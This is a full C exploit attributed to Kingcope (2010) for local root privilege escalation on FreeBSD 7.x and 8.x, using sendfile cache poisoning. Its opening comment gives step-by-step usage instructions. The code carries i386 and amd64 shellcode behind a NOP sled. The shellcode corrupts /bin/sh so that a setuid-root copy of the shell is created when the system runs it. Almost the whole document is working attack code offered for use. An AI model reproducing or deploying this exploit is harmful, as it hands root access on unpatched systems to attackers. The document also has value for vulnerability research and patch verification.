FreeBSD – ‘mbufs()’ sendfile Cache Poisoning Privilege Escalation
/* freebsd x86/x64 sendfile cache local root xpl v2 by Kingcope 2010 -- should h4x any freebsd 8.* and 7.* prior to 12Jul2010 tampers /bin/sh to contain a shellcode which does ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how to use: terminal 1: $ cp /bin/sh /tmp/sh $ cp /bin/sh /tmp/sh2 $ gcc cache.c -o cache terminal 2: $ nc -l 7030 terminal 1: for i386 arch type: $ ./cache i386 for amd64 arch type: $ ./cache amd64 now wait /bin/sh should be execed by the system as root in ~5 mins then do: $ /tmp/sh # cleanup: # cp -f /tmp/sh2 /bin/sh # enjoy the root shell! */ // this juarez is now private on #darknet -- // http://www.youtube.com/watch?v=JtgInqNNpCI // http://www.youtube.com/watch?v=IdbRWrY4QBI #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <string.h> #include <err.h> main (int argc, char *argv[]) { int s, f, k2; struct sockaddr_in addr; int flags; char str32[]= "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3" "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f" "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d" "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"; char str64[]= "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68" "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0" "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89" "\xe7\x57\x52\x48\x89\xe6\x0f\x05"; char buf[10000]; char *p; struct stat sb; int n; fd_set wset; int64_t size; off_t sbytes; off_t sent = 0; int chunk; int arch = 3; if (argc != 2) { printf("define architecture i386 or amd64\n"); return; } if (strcmp(argv[1], "i386") == 0) arch=1; if (strcmp(argv[1], "amd64") == 0) arch=2; if (arch == 3) { printf("define architecture i386 or amd64\n"); return; } s = socket(AF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(7030); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); if (n < 0) warn ("fail to connect"); f = open("/bin/sh", O_RDONLY); if (f<0) warn("fail to open file"); n = fstat(f, &sb); if (n<0) warn("fstat failed"); size = sb.st_size; chunk = 0; flags = fcntl(f, F_GETFL); flags |= O_NONBLOCK; fcntl(f, F_SETFL, flags); while (size > 0) { FD_ZERO(&wset); FD_SET(s, &wset); n = select(f+1, NULL, &wset, NULL, NULL); if (n < 0) continue; if (chunk > 0) { sbytes = 0; if (arch == 1) n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); if (arch == 2) n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0); if (n < 0) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset(buf, '\0', sizeof buf); if (arch == 1) { for (k2=0;k2<256;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str32, sizeof str32); n = k2 + sizeof str32; p = buf; } if (arch == 2) { for (k2=0;k2<100;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str64, sizeof str64); n = k2 + sizeof str64; p = buf; } write(s, p, n); } } |